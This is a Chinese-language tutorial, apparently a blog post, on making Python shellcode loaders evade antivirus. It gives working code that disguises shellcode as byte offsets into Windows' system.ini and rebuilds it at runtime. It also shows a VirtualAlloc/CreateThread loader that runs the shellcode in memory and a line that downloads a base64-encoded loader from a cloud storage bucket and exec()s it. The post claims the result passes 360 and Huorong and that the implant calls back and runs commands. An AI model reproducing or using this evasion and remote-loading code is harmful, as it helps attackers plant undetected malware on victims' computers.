0x00 偏移量方法
常用的shellcode被目前主流杀软秒杀,所以我们利用偏移量针对shellcode进行混淆。主要思路是在所有主流版本windows中找到固定统一存在的文件,我选择的是system.ini文件,读取该文件的二进制,找到所有shellcode字符在该文件的列表的下标,从而构造出shellcode。
实现过程,首先读出system.ini与shellcode进行hex编码,生成空列表,随即在shellcode中遍历找出下标值。
`winfile_hex = open('system.ini','r').read().encode('hex')``payload_hex = open('payload.bin','r').read().encode('hex')``list = []``for i in payload_hex:` `payload_hex = winfile_hex.find(i)` `list.append(payload_hex)``print list`
接下来只要本地读取win的固定文件结合提前写入的下标,进行还原即可。
`winfile_hex = open('C://Windows//system.ini','r').read().encode('hex')``list = [7, 361, 23, 55, 55, 0, 61, 23, 7, 3, 61, 55, 361, 55, 3, 3, 3, 3, 3, 3, 23, 13, 37, 13, 23, 13, 37, 3, 37, 2, 37] #举例,list内容替换成自己的``buf = ''``for i in list:` `buf += winfile_hex[i]``shellcode = bytearray(buf.decode('hex'))`
0x01 Shellcode Loader加密 加载器还是使用VirtualAlloc函数来申请内存将代码字节存入该内存,然后开始运行该内存储存的程序,并让程序一直运行下去,属于传统的loader方式。但是这样的方式目前直接上的话在有杀软的情况下是无法存活的,原始loader如下
`ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),` `ctypes.c_int(len(shellcode)),` `ctypes.c_int(0x3000),` `ctypes.c_int(0x40))`` `` ``buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)`` `` ``ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),` `buf,` `ctypes.c_int(len(shellcode)))`` `` ``ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),` `ctypes.c_int(0),` `ctypes.c_int(ptr),` `ctypes.c_int(0),` `ctypes.c_int(0),` `ctypes.pointer(ctypes.c_int(0)))`` `` ``ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1))`
对原始Shellcode Loader进行base64编码后放在阿里云的oss上,配合shellcode偏移量混淆的方式,使用远程加载的方式进行利用,成功免杀:
`res = requests.get("https://xxxxxx.oss-cn-beijing.aliyuncs.com/1.txt")``exec(base64.b64decode(res.text))`
**0x02 测试
**
过360与火绒,如图:
上线正常,命令执行正常,如图: